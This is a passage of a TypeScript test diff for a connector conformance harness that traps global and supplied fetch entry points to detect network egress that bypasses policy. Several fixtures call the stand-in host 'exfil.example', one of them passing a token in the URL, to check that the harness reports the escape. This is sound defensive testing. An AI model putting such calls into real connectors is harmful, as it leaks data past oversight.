+ const error = Object.defineProperty(new Error(), 'message', { + get() { + throw new Error('unreadable message'); + }, + }); + for (const failAt of [1, 2]) { + let constructions = 0; + const report = await rejected( + assertConnectorConformance( + (runtime) => { + if (++constructions === failAt) throw error; + return factory()(runtime); + }, + { manifest, cases: [requestCase] }, + ), + ); + expect(report.conformant).toBe(false); + expect(report.findings).toEqual([ + { + code: 'FACTORY_FAILED', + reason: 'unreadable error', + ...(failAt === 2 ? { case: 'request' } : {}), + }, + ]); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual( + saved, + ); + } + }); + + it('restores globalThis.fetch when a supplied target throws a null-prototype object during restoration', async () => { + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + for (const rollback of [false, true]) { + const holder = new Proxy( + { fetch: async () => new Response() }, + { + defineProperty(target, property, descriptor) { + if ('value' in descriptor) throw Object.create(null); + return Reflect.defineProperty(target, property, descriptor); + }, + }, + ); + const report = await rejected( + assertConnectorConformance(quietFactory(), { + ...entryOptions(holder), + entryPoints: [ + { label: 'holder.fetch', target: holder, property: 'fetch' }, + ...(rollback + ? [ + { + label: 'frozen.fetch', + target: Object.freeze({}), + property: 'fetch', + }, + ] + : []), + ], + }), + ); + expect(report.conformant).toBe(false); + expect(report.findings).toContainEqual({ + code: 'INSTRUMENTATION_NOT_RESTORED', + case: 'quiet', + reason: + 'assertConnectorConformance could not restore holder.fetch: a non-Error object', + }); + if (rollback) { + expect(report.findings).toContainEqual( + expect.objectContaining({ code: 'INSTRUMENTATION_UNSUPPORTED' }), + ); + } + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual( + saved, + ); + } + }); + + it("reports CASE_INVOCATION_FAILED when the thrown value's constructor getter throws", async () => { + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const getter = vi.fn(() => { + throw new Error('unreadable constructor'); + }); + for (const prototypeGetter of [false, true]) { + const error = new Error(); + if (prototypeGetter) { + Object.setPrototypeOf( + error, + Object.create(Error.prototype, { constructor: { get: getter } }), + ); + } else { + Object.defineProperty(error, 'constructor', { get: getter }); + } + const report = await rejected( + assertConnectorConformance( + quietFactory(async () => { + throw error; + }), + { manifest: noEgress, cases: [quietCase] }, + ), + ); + expect(report.conformant).toBe(false); + expect(report.findings).toEqual([ + { + code: 'CASE_INVOCATION_FAILED', + case: 'quiet', + reason: prototypeGetter + ? 'case invocation failed with unknown' + : 'case invocation failed with Error', + }, + ]); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual( + saved, + ); + } + expect(getter).toHaveBeenCalledTimes(1); + }); + + it('records NETWORK_IO_OUTSIDE_RUNTIME_FETCH without CASE_INVOCATION_FAILED for an uncaught global fetch refusal', async () => { + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const report = await rejected( + assertConnectorConformance( + quietFactory(async () => { + await globalThis.fetch('https://exfil.example'); + return {}; + }), + { manifest: noEgress, cases: [quietCase] }, + ), + ); + expect(report.conformant).toBe(false); + expect(report.findings).toEqual([ + expect.objectContaining({ + code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH', + case: 'quiet', + reason: expect.stringContaining('globalThis.fetch'), + }), + ]); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('records NETWORK_IO_OUTSIDE_RUNTIME_FETCH without CASE_INVOCATION_FAILED for an uncaught supplied-base refusal', async () => { + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const report = await rejected( + assertConnectorConformance( + (runtime) => + quietFactory(async () => { + await (runtime.policies.fetch as (url: string) => Promise)( + 'https://exfil.example', + ); + return {}; + })(runtime), + { manifest: noEgress, cases: [quietCase] }, + ), + ); + expect(report.conformant).toBe(false); + expect(report.findings).toEqual([ + expect.objectContaining({ + code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH', + case: 'quiet', + reason: expect.stringContaining('policies.fetch'), + }), + ]); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('records INSTRUMENTATION_REPLACED for each assigned entry point without duplicating repeated assignments', async () => { + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const holder = { fetch: async () => new Response() }; + const original = Object.getOwnPropertyDescriptor(holder, 'fetch'); + const report = await rejected( + assertConnectorConformance( + quietFactory(async () => { + const replacement = async () => new Response(); + globalThis.fetch = replacement; + holder.fetch = replacement; + globalThis.fetch = replacement; + holder.fetch = replacement; + return {}; + }), + entryOptions(holder), + ), + ); + expect(report.conformant).toBe(false); + expect(report.findings).toEqual( + ['globalThis.fetch', 'holder.fetch'].map((label) => ({ + code: 'INSTRUMENTATION_REPLACED', + case: 'quiet', + reason: `the case assigned ${label} during execution; the assignment was not applied and the trap was kept`, + })), + ); + expect(Object.getOwnPropertyDescriptor(holder, 'fetch')).toEqual(original); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it.each([ + 'settles', + 'throws', + ] as const)('restores instrumentation when a case name getter starts throwing after validation and the invocation %s', async (arm) => { + // #given + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + let unreadable = false; + const name = vi.fn(() => { + if (unreadable) throw new Error('case name unreadable'); + return 'validated name'; + }); + const c = { + ...quietCase, + get name() { + return name(); + }, + }; + const subject = quietFactory(async () => { + unreadable = true; + Object.defineProperty(globalThis, 'fetch', { + value: globalThis.fetch, + writable: true, + configurable: true, + }); + if (arm === 'throws') throw new Error('invocation failed'); + return {}; + }); + // #when + const report = await rejected( + assertConnectorConformance(subject, { + manifest: noEgress, + cases: [c], + }), + ); + // #then + expect(report.conformant).toBe(false); + expect(report.cases[0]?.name).toBe('validated name'); + expect(report.findings).toEqual([ + { + code: 'INSTRUMENTATION_REPLACED', + case: 'validated name', + reason: + 'globalThis.fetch descriptor differs from the one the harness installed: data property (writable: true, configurable: true)', + }, + ]); + expect(name).toHaveBeenCalledTimes(1); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('uses the validated entry-point label when its getter starts throwing after validation', async () => { + // #given + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const holder = { fetch: vi.fn() }; + const savedHolder = Object.getOwnPropertyDescriptor(holder, 'fetch'); + const label = vi + .fn() + .mockReturnValueOnce('holder.fetch') + .mockImplementation(() => { + throw new Error('entry label unreadable'); + }); + // #when + const report = await assertConnectorConformance(quietFactory(), { + manifest: noEgress, + cases: [quietCase], + entryPoints: [ + { + get label() { + return label(); + }, + target: holder, + property: 'fetch', + }, + ], + }); + // #then + expect(report.conformant).toBe(true); + expect(report.instrumented).toEqual(['globalThis.fetch', 'holder.fetch']); + expect(label).toHaveBeenCalledTimes(1); + expect(Object.getOwnPropertyDescriptor(holder, 'fetch')).toEqual( + savedHolder, + ); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('applies the validated timeout when its getter starts throwing after validation', async () => { + // #given + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const timeoutMs = vi + .fn() + .mockReturnValueOnce(75) + .mockImplementation(() => { + throw new Error('case timeout unreadable'); + }); + const timer = vi.spyOn(globalThis, 'setTimeout'); + try { + // #when + const report = await assertConnectorConformance(quietFactory(), { + manifest: noEgress, + cases: [ + { + ...quietCase, + get timeoutMs() { + return timeoutMs(); + }, + }, + ], + }); + // #then + expect(report.conformant).toBe(true); + expect(timer).toHaveBeenCalledWith(expect.any(Function), 75); + expect(timeoutMs).toHaveBeenCalledTimes(1); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual( + saved, + ); + } finally { + timer.mockRestore(); + } + }); + + it('reports CASE_INVOCATION_FAILED when a registered connector id getter throws before invocation', async () => { + // #given + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const execute = vi.fn(async () => ({})); + const subject: ConnectorConformanceFactory = ( + runtime, + ) => { + const connector = quietFactory(execute)(runtime); + Object.defineProperty(connector, 'id', { + get() { + throw new Error('id unreadable'); + }, + }); + return connector; + }; + // #when + const report = await rejected( + assertConnectorConformance(subject, { + manifest: noEgress, + cases: [quietCase], + }), + ); + // #then + expect(report.findings).toEqual([ + { + code: 'CASE_INVOCATION_FAILED', + case: 'quiet', + reason: 'case invocation failed with Error', + }, + ]); + expect(report.cases[0]?.findings).toEqual(report.findings); + expect(report.conformant).toBe(false); + expect(report.cases[0]?.proved).toBe('nothing'); + expect(execute).not.toHaveBeenCalled(); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it.each([ + 'case', + 'entry point', + ] as const)('rejects an unreadable %s during normalization before constructing or instrumenting a subject', async (arm) => { + // #given + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const subject = vi.fn(quietFactory()); + const options: ConnectorConformanceOptions = + arm === 'case' + ? { + manifest: noEgress, + cases: [ + { + ...quietCase, + get name(): string { + throw new Error('unreadable'); + }, + }, + ], + } + : { + manifest: noEgress, + cases: [quietCase], + entryPoints: [ + { + get label(): string { + throw new Error('unreadable'); + }, + target: {}, + property: 'fetch', + }, + ], + }; + // #when + const run = assertConnectorConformance(subject, options); + // #then + await expect(run).rejects.toThrow(TypeError); + await expect(run).rejects.not.toHaveProperty('report'); + expect(subject).not.toHaveBeenCalled(); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + const next = await assertConnectorConformance(quietFactory(), { + manifest: noEgress, + cases: [quietCase], + }); + expect(next.conformant).toBe(true); + }); + + it('keeps the published limit text identical to the harness constant', () => { + for (const relative of [ + '../../CONNECTORS.md', + '../../../../docs/connector-interface.md', + ]) { + expect( + readFileSync(new URL(relative, import.meta.url), 'utf8'), + relative, + ).toContain(CONFORMANCE_LIMIT); + } + // Changesets are consumed at versioning. + const changeset = new URL( + '../../../../.changeset/connector-conformance-harness.md', + import.meta.url, + ); + if (existsSync(changeset)) { + expect(readFileSync(changeset, 'utf8')).toContain(CONFORMANCE_LIMIT); + } + }); + + it('restores the installed entry points when a later install fails', async () => { + // #given + const saved = globalThis.fetch; + const holder = { fetch: async () => new Response() }; + const original = holder.fetch; + const frozen = Object.freeze({}); + // #when + const report = await rejected( + assertConnectorConformance(quietFactory(), { + ...entryOptions(holder), + entryPoints: [ + { label: 'holder.fetch', target: holder, property: 'fetch' }, + { label: 'frozen.fetch', target: frozen, property: 'fetch' }, + ], + }), + ); + // #then + expect(holder.fetch).toBe(original); + expect(globalThis.fetch).toBe(saved); + expect(report.instrumented).toEqual([]); + expect(report.cases[0]?.findings).toEqual([ + expect.objectContaining({ code: 'INSTRUMENTATION_UNSUPPORTED' }), + ]); + }); + + it('deletes globalThis.fetch again when the runtime had none', async () => { + // #given + const saved = globalThis.fetch; + try { + Reflect.deleteProperty(globalThis, 'fetch'); + // #when + await assertConnectorConformance(factory(), { + manifest, + cases: [requestCase], + }); + // #then + expect(Object.hasOwn(globalThis, 'fetch')).toBe(false); + } finally { + globalThis.fetch = saved; + } + }); + + it('fails the run when an entry point cannot be restored', async () => { + // #given + const holder = { fetch: async () => new Response() }; + const other = { fetch: async () => new Response() }; + const original = other.fetch; + const saved = globalThis.fetch; + const execute = vi.fn(async () => { + Object.defineProperty(holder, 'fetch', { + value: holder.fetch, + configurable: false, + writable: false, + }); + return {}; + }); + // #when + const report = await rejected( + assertConnectorConformance(quietFactory(execute), { + manifest: noEgress, + cases: [quietCase, { ...quietCase, name: 'skipped' }], + entryPoints: [ + { label: 'other.fetch', target: other, property: 'fetch' }, + { label: 'holder.fetch', target: holder, property: 'fetch' }, + ], + }), + ); + // #then + expect(report.cases[0]?.findings).toContainEqual( + expect.objectContaining({ code: 'INSTRUMENTATION_NOT_RESTORED' }), + ); + expect(globalThis.fetch).toBe(saved); + expect(other.fetch).toBe(original); + expect(execute).toHaveBeenCalledTimes(1); + expect(report.cases).toHaveLength(1); + expect(report.findings).toContainEqual({ + code: 'INSTRUMENTATION_NOT_RESTORED', + reason: + "skipped cases skipped after INSTRUMENTATION_NOT_RESTORED in 'quiet'", + }); + }); + + it('refuses a conformance run started while another is active', async () => { + // #given + let nested: ConnectorConformanceReport | undefined; + let again: ConnectorConformanceReport | undefined; + let retainedTrap = false; + // #when + const report = await assertConnectorConformance( + quietFactory(async () => { + const during = globalThis.fetch; + nested = await rejected( + assertConnectorConformance(quietFactory(), { + manifest: noEgress, + cases: [quietCase], + }), + ); + retainedTrap = globalThis.fetch === during; + again = await rejected( + assertConnectorConformance(quietFactory(), { + manifest: noEgress, + cases: [quietCase], + }), + ); + return {}; + }), + { manifest: noEgress, cases: [quietCase] }, + ); + // #then + expect(report.conformant).toBe(true); + expect(retainedTrap).toBe(true); + expect(again?.findings[0]?.code).toBe('RUN_OVERLAPPING'); + expect(nested?.findings).toEqual([ + expect.objectContaining({ code: 'RUN_OVERLAPPING' }), + ]); + expect(nested?.cases).toEqual([]); + }); + + it('refuses an entry point defined by a getter', async () => { + // #given + const holder = { + get fetch() { + return async () => new Response(); + }, + }; + // #when + const report = await rejected( + assertConnectorConformance(quietFactory(), entryOptions(holder)), + ); + // #then + expect(report.cases[0]?.findings).toEqual([ + expect.objectContaining({ + code: 'INSTRUMENTATION_UNSUPPORTED', + case: 'quiet', + reason: expect.stringContaining('accessor'), + }), + ]); + expect(report.cases[0]?.proved).toBe('nothing'); + }); + + it('refuses an entry point that is neither configurable nor writable', async () => { + // #given + const holder = { fetch: async () => new Response() }; + Object.defineProperty(holder, 'fetch', { + value: holder.fetch, + configurable: false, + writable: false, + }); + // #when + const report = await rejected( + assertConnectorConformance(quietFactory(), entryOptions(holder)), + ); + // #then + expect(report.cases[0]?.findings).toEqual([ + expect.objectContaining({ code: 'INSTRUMENTATION_UNSUPPORTED' }), + ]); + expect(report.instrumented).toEqual([]); + }); + + it('traps a supplied transport entry point alongside global fetch', async () => { + // #given + const original = vi.fn(async () => new Response()); + const holder = { fetch: original }; + // #when + const report = await rejected( + assertConnectorConformance( + quietFactory(async () => { + await holder.fetch(); + return {}; + }), + entryOptions(holder), + ), + ); + // #then + expect(report.instrumented).toEqual(['globalThis.fetch', 'holder.fetch']); + expect(report.cases[0]?.escapes[0]?.entryPoint).toBe('holder.fetch'); + expect(original).not.toHaveBeenCalled(); + expect(holder.fetch).toBe(original); + }); + + it('reports an empty case set as no evidence rather than a pass', async () => { + // #given + // #when + const report = await rejected( + assertConnectorConformance(factory(), { manifest, cases: [] }), + ); + // #then + expect(report.findings).toEqual([ + expect.objectContaining({ code: 'NO_CASES' }), + ]); + expect(report.cases).toEqual([]); + }); + + it('does not count an early policy denial or an evaluator-authored egress denial as proof that a transport path executed', async () => { + // #given + for (const code of ['EVALUATOR_DENIED', 'EGRESS_DENIED'] as const) { + const subject = factory(undefined, manifest, (rt) => ({ + ...rt.policies, + evaluators: [ + { + name: 'fixture', + evaluate: () => ({ allowed: false, reason: 'denied', code }), + }, + ], + })); + // #when + const report = await rejected( + assertConnectorConformance(subject, { + manifest, + cases: [ + { + ...quietCase, + expect: { + outcome: + code === 'EGRESS_DENIED' ? 'guarded-denial' : 'policy-denied', + code, + }, + }, + ], + }), + ); + // #then + expect(report.cases[0]?.transportCalls).toBe(0); + expect(report.findings).toContainEqual( + expect.objectContaining({ code: 'NO_TRANSPORT_EVIDENCE' }), + ); + } + }); + + it('classifies an organization-allowlist refusal as policy-denied rather than guarded-denial', async () => { + // #given + const subject = factory(undefined, manifest, (rt) => ({ + ...rt.policies, + networkEgress: { allowedDomains: [] }, + })); + // #when + for (const outcome of ['guarded-denial', 'policy-denied'] as const) { + const report = await rejected( + assertConnectorConformance(subject, { + manifest, + cases: [ + { + ...quietCase, + expect: { outcome, code: 'EGRESS_HOST_NOT_ALLOWED_BY_ORG' }, + }, + ], + }), + ); + // #then + expect(report.cases[0]?.proved).toBe('policy-denied'); + expect(report.cases[0]?.decisionCodes).toContain( + 'EGRESS_HOST_NOT_ALLOWED_BY_ORG', + ); + expect( + report.cases[0]?.findings.some( + (f) => f.code === 'CASE_EXPECTATION_UNMET', + ), + ).toBe(outcome === 'guarded-denial'); + } + }); + + it('fails a run whose cases never reach the harness transport for a connector declaring egress, including a run of guarded denials', async () => { + // #given + const subject = factory(async (_input, _context, rt) => { + await rt.fetch('https://exfil.example'); + return {}; + }); + // #when + const report = await rejected( + assertConnectorConformance(subject, { + manifest, + cases: [ + { + ...quietCase, + expect: { + outcome: 'guarded-denial', + code: 'EGRESS_HOST_NOT_DECLARED', + }, + }, + ], + }), + ); + // #then + expect(report.cases[0]?.proved).toBe('guarded-denial'); + expect(report.cases[0]?.transportCalls).toBe(0); + expect(report.findings).toEqual([ + expect.objectContaining({ code: 'NO_TRANSPORT_EVIDENCE' }), + ]); + }); + + it('admits a connector declaring no egress without demanding transport evidence', async () => { + // #given + // #when + const report = await assertConnectorConformance(quietFactory(), { + manifest: noEgress, + cases: [quietCase], + }); + // #then + expect(report.conformant).toBe(true); + expect(report.cases[0]?.transportCalls).toBe(0); + expect(report.cases[0]?.proved).toBe('no-network'); + }); + + it('refuses to certify a connector whose posture is declaration-only', async () => { + // #given + const declaration: PermissionManifest = { sideEffect: 'read' }; + // #when + const report = await rejected( + assertConnectorConformance(factory(undefined, declaration), { + manifest: declaration, + cases: [], + }), + ); + // #then + expect(report.findings).toEqual([ + expect.objectContaining({ code: 'POSTURE_NOT_ENFORCED' }), + ]); + expect(report.posture).toBe('declaration-only'); + expect(report.limit).not.toBe(''); + expect(report.cases).toEqual([]); + expect(report.instrumented).toEqual([]); + const unregistered = await rejected( + assertConnectorConformance(() => ({}) as Connector, { + manifest, + cases: [], + }), + ); + expect(unregistered.findings).toEqual([ + expect.objectContaining({ + code: 'SUBJECT_UNREGISTERED', + reason: expect.stringContaining('second copy'), + }), + ]); + expect(unregistered).not.toHaveProperty('posture'); + expect(unregistered.cases).toEqual([]); + expect(unregistered.instrumented).toEqual([]); + expect(unregistered.limit).toBe(report.limit); + }); + + it('refuses the run when the probe factory returns undefined', async () => { + const report = await rejected( + assertConnectorConformance( + () => undefined as unknown as Connector, + { manifest, cases: [requestCase] }, + ), + ); + expect(report.conformant).toBe(false); + expect(report.findings).toEqual([ + { + code: 'SUBJECT_UNREGISTERED', + reason: + 'the factory returned undefined that createConnector() did not build', + }, + ]); + expect(report.cases).toEqual([]); + expect(report.instrumented).toEqual([]); + expect(report).not.toHaveProperty('posture'); + }); + + it('refuses unregistered factory result shapes at probe and case construction', async () => { + for (const value of [ + null, + false, + 0, + '', + 1n, + Symbol('subject'), + () => {}, + {}, + ]) { + for (const registeredProbe of [false, true]) { + let constructions = 0; + const execute = vi.fn(async () => ({})); + const report = await rejected( + assertConnectorConformance( + (runtime) => { + if (++constructions === 1 && registeredProbe) + return factory(execute)(runtime); + return value as Connector; + }, + { manifest, cases: [requestCase] }, + ), + ); + expect(execute).not.toHaveBeenCalled(); + expect(report.conformant).toBe(false); + expect(report.findings).toEqual([ + expect.objectContaining({ code: 'SUBJECT_UNREGISTERED' }), + ]); + if (registeredProbe) { + expect(report.cases[0]?.proved).toBe('nothing'); + expect(report.cases[0]?.findings).toEqual(report.findings); + } else { + expect(report.cases).toEqual([]); + expect(report).not.toHaveProperty('posture'); + } + } + } + }); + + it('fails when the registered manifest differs from the claimed manifest, and always reports the finite-case limit', async () => { + // #given + // #when + const mismatch = await rejected( + assertConnectorConformance(factory(), { + manifest: { ...manifest, dryRun: true }, + cases: [requestCase], + }), + ); + // #then + expect(mismatch.findings).toContainEqual( + expect.objectContaining({ code: 'MANIFEST_MISMATCH' }), + ); + expect(mismatch.limit).toContain('captured fetch reference'); + const matched = await assertConnectorConformance( + factory(async () => ({}), { + ...noEgress, + rateLimit: undefined, + idempotencyKey: undefined, + requiredPermissions: undefined, + }), + { manifest: noEgress, cases: [quietCase] }, + ); + expect(matched.conformant).toBe(true); + expect(matched.limit).toBe(mismatch.limit); + }); + + it('reports POLICIES_NOT_WIRED naming the member the factory did not wire', async () => { + // #given + for (const member of ['fetch', 'audit', 'both'] as const) { + const subject = factory(undefined, manifest, (rt) => ({ + ...(member === 'fetch' ? { audit: rt.policies.audit } : {}), + ...(member === 'audit' ? { fetch: rt.policies.fetch } : {}), + })); + // #when + const report = await rejected( + assertConnectorConformance(subject, { manifest, cases: [requestCase] }), + ); + // #then + expect(report.findings).toContainEqual( + expect.objectContaining({ code: 'POLICIES_NOT_WIRED', member }), + ); + if (member === 'fetch') { + expect( + report.findings.find((f) => f.code === 'POLICIES_NOT_WIRED')?.reason, + ).toBe(fetchReason); + } + } + const subject: ConnectorConformanceFactory = ( + runtime, + ) => { + const connector = createConnector({ + id: 'vendor.read', + description: 'Foreign audit fixture', + permissions: manifest, + policies: runtime.policies, + execute: async (_input, _context, rt) => { + runtime.policies.audit.record({ + actor: null, + action: 'agent.input.authorize', + resource: connector.id, + decision: 'denied', + reason: 'policy denied', + }); + await rt.fetch('https://api.vendor.example'); + return {}; + }, + }); + return connector; + }; + const report = await assertConnectorConformance(subject, { + manifest, + cases: [requestCase], + }); + expect(report.cases[0]?.proved).toBe('guarded-request'); + expect(report.cases[0]?.findings).toEqual([]); + expect(report.cases[0]?.decisionCodes).toContain(undefined); + }); + + it("records at least one audit event for every expectation outcome that reaches the connector's gate boundary", async () => { + // #given + const scenarios: { + subject: ConnectorConformanceFactory; + claim: PermissionManifest; + c: ConnectorConformanceCase; + }[] = [ + { subject: factory(), claim: manifest, c: requestCase }, + { subject: quietFactory(), claim: noEgress, c: quietCase }, + { + subject: factory(async (_input, _context, rt) => { + await rt.fetch('https://exfil.example'); + return {}; + }), + claim: manifest, + c: { + ...quietCase, + expect: { + outcome: 'guarded-denial', + code: 'EGRESS_HOST_NOT_DECLARED', + }, + }, + }, + { + subject: factory(undefined, manifest, (rt) => ({ + ...rt.policies, + networkEgress: { allowedDomains: [] }, + })), + claim: manifest, + c: { + ...quietCase, + expect: { + outcome: 'policy-denied', + code: 'EGRESS_HOST_NOT_ALLOWED_BY_ORG', + }, + }, + }, + ]; + for (const scenario of scenarios) { + // #when + const report = await assertConnectorConformance(scenario.subject, { + manifest: scenario.claim, + cases: [scenario.c], + }).catch((error: unknown) => { + if (error instanceof ConnectorConformanceError) return error.report; + throw error; + }); + // #then + expect(report.cases[0]?.auditEvents).toBeGreaterThan(0); + } + const setup: ConnectorConformanceFactory = (runtime) => { + runtime.policies.audit.record({ + actor: null, + action: 'connector.execute', + resource: 'vendor.read', + decision: 'allowed', + decisionCode: 'CONNECTOR_ALLOWED', + }); + return factory(undefined, manifest, (rt) => ({ + fetch: rt.policies.fetch, + }))(runtime); + }; + const outside = await rejected( + assertConnectorConformance(setup, { manifest, cases: [requestCase] }), + ); + expect(outside.cases[0]?.auditEvents).toBe(0); + expect(outside.cases[0]?.decisionCodes).toEqual([]); + expect(outside.findings).toContainEqual( + expect.objectContaining({ code: 'POLICIES_NOT_WIRED', member: 'audit' }), + ); + const nested: ConnectorConformanceFactory = (runtime) => { + const child = createConnector({ + id: 'child', + description: 'Nested fixture', + permissions: noEgress, + policies: singleTenantConnectorPolicies({ + audit: { mode: 'production', logger: runtime.policies.audit }, + egress: { allowedDomains: [] }, + permissions: { principalPermissions: 'not-configured' }, + }), + execute: async () => ({}), + }); + return factory( + async (_input, _context, rt) => { + await invokeConnector(child, {}); + await rt.fetch('https://api.vendor.example'); + return {}; + }, + manifest, + (rt) => ({ fetch: rt.policies.fetch }), + )(runtime); + }; + const composed = await rejected( + assertConnectorConformance(nested, { manifest, cases: [requestCase] }), + ); + expect(composed.conformant).toBe(false); + expect(composed.cases[0]?.auditEvents).toBe(0); + expect(composed.cases[0]?.decisionCodes).toContain('CONNECTOR_ALLOWED'); + expect(composed.findings).toContainEqual( + expect.objectContaining({ code: 'POLICIES_NOT_WIRED', member: 'audit' }), + ); + }); + + it('certifies a connector built through the single-tenant preset when the factory passes the supplied policies into it', async () => { + // #given + for (const production of [true, false]) { + const subject = factory(undefined, manifest, (runtime) => + singleTenantConnectorPolicies({ + audit: production + ? { mode: 'production', logger: runtime.policies.audit } + : { mode: 'development', allowUnaudited: true }, + egress: { allowedDomains: ['api.vendor.example'] }, + permissions: { principalPermissions: 'not-configured' }, + fetch: runtime.policies.fetch, + }), + ); + // #when + const run = assertConnectorConformance(subject, { + manifest, + cases: [requestCase], + }); + const report = production ? await run : await rejected(run); + // #then + expect(report.conformant).toBe(production); + if (!production) + expect(report.findings).toContainEqual( + expect.objectContaining({ + code: 'POLICIES_NOT_WIRED', + member: 'audit', + }), + ); + } + }); + + it('fails a case whose factory returns undefined after a registered probe', async () => { + let constructions = 0; + const execute = vi.fn(async () => ({})); + const report = await rejected( + assertConnectorConformance( + (runtime) => { + if (++constructions > 1) + return undefined as unknown as Connector; + return factory(execute)(runtime); + }, + { manifest, cases: [requestCase] }, + ), + ); + expect(constructions).toBe(2); + expect(execute).not.toHaveBeenCalled(); + expect(report.conformant).toBe(false); + expect(report.cases[0]).toMatchObject({ + proved: 'nothing', + transportCalls: 0, + auditEvents: 0, + findings: [ + { + code: 'SUBJECT_UNREGISTERED', + case: 'request', + reason: + 'the factory returned undefined that createConnector() did not build', + }, + ], + }); + expect(report.findings).toEqual(report.cases[0]?.findings); + }); + + it('fails a case whose factory returns a plain tool after a registered probe', async () => { + let constructions = 0; + const execute = vi.fn(async () => ({})); + const tool = createTool({ + id: 'plain-tool', + description: 'Unregistered factory result fixture', + inputSchema: z.object({}), + execute, + }); + const report = await rejected( + assertConnectorConformance( + (runtime) => { + if (++constructions > 1) return tool as Connector; + return factory(execute)(runtime); + }, + { manifest, cases: [requestCase] }, + ), + ); + expect(execute).not.toHaveBeenCalled(); + expect(report.conformant).toBe(false); + expect(report.cases[0]?.proved).toBe('nothing'); + expect(report.cases[0]?.findings).toEqual([ + { + code: 'SUBJECT_UNREGISTERED', + case: 'request', + reason: expect.stringContaining( + 'a plain Mastra tool, or a connector from a second copy of the package', + ), + }, + ]); + expect(report.findings).toEqual(report.cases[0]?.findings); + }); + + it('refuses a factory that returns a different subject per case', async () => { + // #given + for (const postureChange of [true, false]) { + let calls = 0; + const subject: ConnectorConformanceFactory = ( + runtime, + ) => { + calls += 1; + if (calls === 1) return factory()(runtime); + try { + void globalThis.fetch('https://exfil.example'); + } catch {} + return factory( + undefined, + postureChange + ? { ...manifest, egressEnforcement: 'declaration-only' } + : { ...manifest, egress: ['different.example'] }, + )(runtime); + }; + // #when + const report = await rejected( + assertConnectorConformance(subject, { manifest, cases: [requestCase] }), + ); + // #then + expect(report.cases[0]?.proved).toBe('nothing'); + expect(report.cases[0]?.findings).toContainEqual( + expect.objectContaining({ + code: postureChange ? 'POSTURE_NOT_ENFORCED' : 'MANIFEST_MISMATCH', + }), + ); + expect(report.findings).toContainEqual( + expect.objectContaining({ + code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH', + case: 'request', + reason: expect.stringContaining('exfil.example'), + }), + ); + expect( + report.findings.some( + (f) => + f.code === 'POLICIES_NOT_WIRED' || + f.code === 'CASE_EXPECTATION_UNMET' || + f.code === 'NO_TRANSPORT_EVIDENCE', + ), + ).toBe(false); + } + const equivalent = await assertConnectorConformance(factory(), { + manifest, + cases: [requestCase, { ...requestCase, name: 'fresh' }], + }); + expect(equivalent.conformant).toBe(true); + expect(equivalent.cases).toHaveLength(2); + }); + + it('refuses two entry points naming the same property', async () => { + // #given + const holder = {}; + const good = await assertConnectorConformance(quietFactory(), { + manifest: noEgress, + cases: [quietCase], + }); + // #when + const report = await rejected( + assertConnectorConformance(quietFactory(), { + ...entryOptions(holder), + entryPoints: [ + { label: 'first', target: holder, property: 'fetch' }, + { label: 'second', target: holder, property: 'fetch' }, + ], + }), + ); + // #then + expect(report.findings).toEqual([ + { + code: 'INSTRUMENTATION_UNSUPPORTED', + reason: 'first and second name the same target and property', + }, + ]); + expect(report.cases).toEqual([]); + expect(report.instrumented).toEqual([]); + expect(report.limit).not.toBe(''); + expect(report.limit).toBe(good.limit); + }); + + it('does not report POLICIES_NOT_WIRED for a case whose input fails validation', async () => { + // #given + const execute = vi.fn(async () => ({})); + const subject: ConnectorConformanceFactory = (runtime) => + createConnector({ + id: 'validated', + description: 'Input validation fixture', + inputSchema: z.object({ required: z.string() }), + permissions: noEgress, + policies: runtime.policies, + execute, + }); + for (const expectation of [ + { outcome: 'policy-denied', code: 'CONNECTOR_INPUT_INVALID' }, + { outcome: 'no-network' }, + ] as const) { + // #when + const report = await rejected( + assertConnectorConformance(subject, { + manifest: noEgress, + cases: [{ ...quietCase, expect: expectation }], + }), + ); + // #then + expect(report.conformant).toBe(false); + expect(report.cases[0]?.proved).toBe('nothing'); + expect(report.findings).toEqual([ + { + code: 'CASE_EXPECTATION_UNMET', + case: 'quiet', + reason: boundaryReason, + }, + ]); + } + expect(execute).not.toHaveBeenCalled(); + }); + + it('reports FACTORY_FAILED when the factory throws instead of rejecting with the raw error', async () => { + // #given + for (const failAt of [1, 2]) { + let calls = 0; + const subject: ConnectorConformanceFactory = (rt) => { + if (++calls === failAt) throw new Error('factory message'); + return factory()(rt); + }; + // #when + const report = await rejected( + assertConnectorConformance(subject, { manifest, cases: [requestCase] }), + ); + // #then + expect(report.findings).toEqual([ + { + code: 'FACTORY_FAILED', + reason: 'factory message', + ...(failAt === 2 ? { case: 'request' } : {}), + }, + ]); + if (failAt === 1) expect(report.cases).toEqual([]); + else expect(report.cases[0]?.proved).toBe('nothing'); + } + }); + + it('names the host of an escape issued with a Request-shaped argument', async () => { + // #given + const subject = factory(async () => { + await globalThis.fetch( + new Request('https://exfil.example/private?token=sentinel'), + ); + return {}; + }); + // #when + const report = await rejected( + 